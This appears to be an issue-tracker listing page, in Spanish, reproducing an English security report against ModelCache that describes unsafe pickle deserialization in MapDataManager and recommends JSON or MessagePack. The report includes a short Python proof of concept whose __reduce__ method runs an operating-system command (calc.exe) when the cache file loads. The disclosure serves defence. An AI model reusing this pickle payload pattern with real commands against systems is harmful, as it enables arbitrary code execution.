Insecure Deserialization Vulnerability in DataManager
Nadie ha tomado este issue todavía.
Evaluación
- Dificultad
- 5/5
- Tiempo estimado
- Más de una semana
- Aptitud para principiantes
- 30/100
Línea de trabajo
Empieza por localizar MapDataManager y la llamada a pickle.load; después, sigue cómo get_data_manager y factory.py crean y leen data_map.txt. Revisa el formato de la caché y las pruebas existentes antes de elegir un reemplazo seguro. Se considera terminado cuando los datos almacenados en caché se pueden cargar sin ejecutar código arbitrario y el comportamiento de carga relevante está cubierto por pruebas.
Escrito por el modelo de indexación a partir del texto del issue.
Descripción
Hi,
I've discovered a critical vulnerability in the MapDataManager class where pickle.load is used to deserialize cached data from a file. The use of pickle is inherently unsafe as it can execute arbitrary Python code during deserialization. This poses a significant risk, such as enabling remote code execution (RCE) by deserializing malicious objects.
PoC
Below is a simple PoC for this issue, I also attach a picture with 'dir' payload for your reference.
import pickle
import os
from modelcache.manager import get_data_manager
# Malicious class that executes arbitrary code when deserialized
class Exploit:
def __reduce__(self):
return (os.system, ('calc.exe',)) # calc.exe for windows
malicious_payload = pickle.dumps(Exploit())
with open("data_map.txt", "wb") as f: #Using data_map.txt like in factory.py
f.write(malicious_payload)
# Simulate loading the malicious cache file
data_manager = get_data_manager(data_path="data_map.txt", max_size=1000)
While the example Flask application uses SQLite as the cache base, similar risks could arise if user-controlled data is cached into the database and subsequently deserialized.
Recommendation
To mitigate this issue, I strongly recommend avoiding pickle for serialization. Safer alternatives like JSON or MessagePack should be used, as they do not allow code execution.
Thanks.
- Lenguaje dominante
- Python
- Estrellas
- 932
- Forks
- 68
- Métricas de merge de PR
- Sin PR fusionados en 30 d
Preparar el entorno
- Incluye un Dockerfile o un archivo de Docker Compose
- Sin plantilla de pull request
- Sin guía de contribución
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Más de codefuse-ai/ModelCache
-
提供OpenAI格式的查询接口Abierto
Dificultad 5/5 Más de una semana Aptitud para principiantes 25/100
codefuse-ai/ModelCache#69 · 1 comentario ·
Todos los issues de codefuse-ai/ModelCache
Issues similares
-
[Resource]: LoreAbiertoresource-submission validation-passed
Dificultad 1/5 Menos de una hora Aptitud para principiantes 88/100
hesreallyhim/awesome-claude-code#3234 · 1 comentario ·
Los mantenedores suelen responder en 1 día
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 78/100
openminion/openminion#376 ·
Los mantenedores suelen responder en 1 día
-
Type: ☹︎ Bug
Dificultad 2/5 1-3 horas Aptitud para principiantes 78/100
posit-dev/great-tables#1028 ·
Los mantenedores suelen responder en 1 día
-
integration: apple_tv
Dificultad 2/5 1-3 horas Aptitud para principiantes 78/100
home-assistant/core#188282 · 1 comentario ·
Los mantenedores suelen responder en 1 día
-
A "since" range is worded as a career: "the past two seasons" says "regular season career (2025 on)"AbiertoP4: low
Dificultad 2/5 1-3 horas Aptitud para principiantes 65/100
jeffknupp/association#538 ·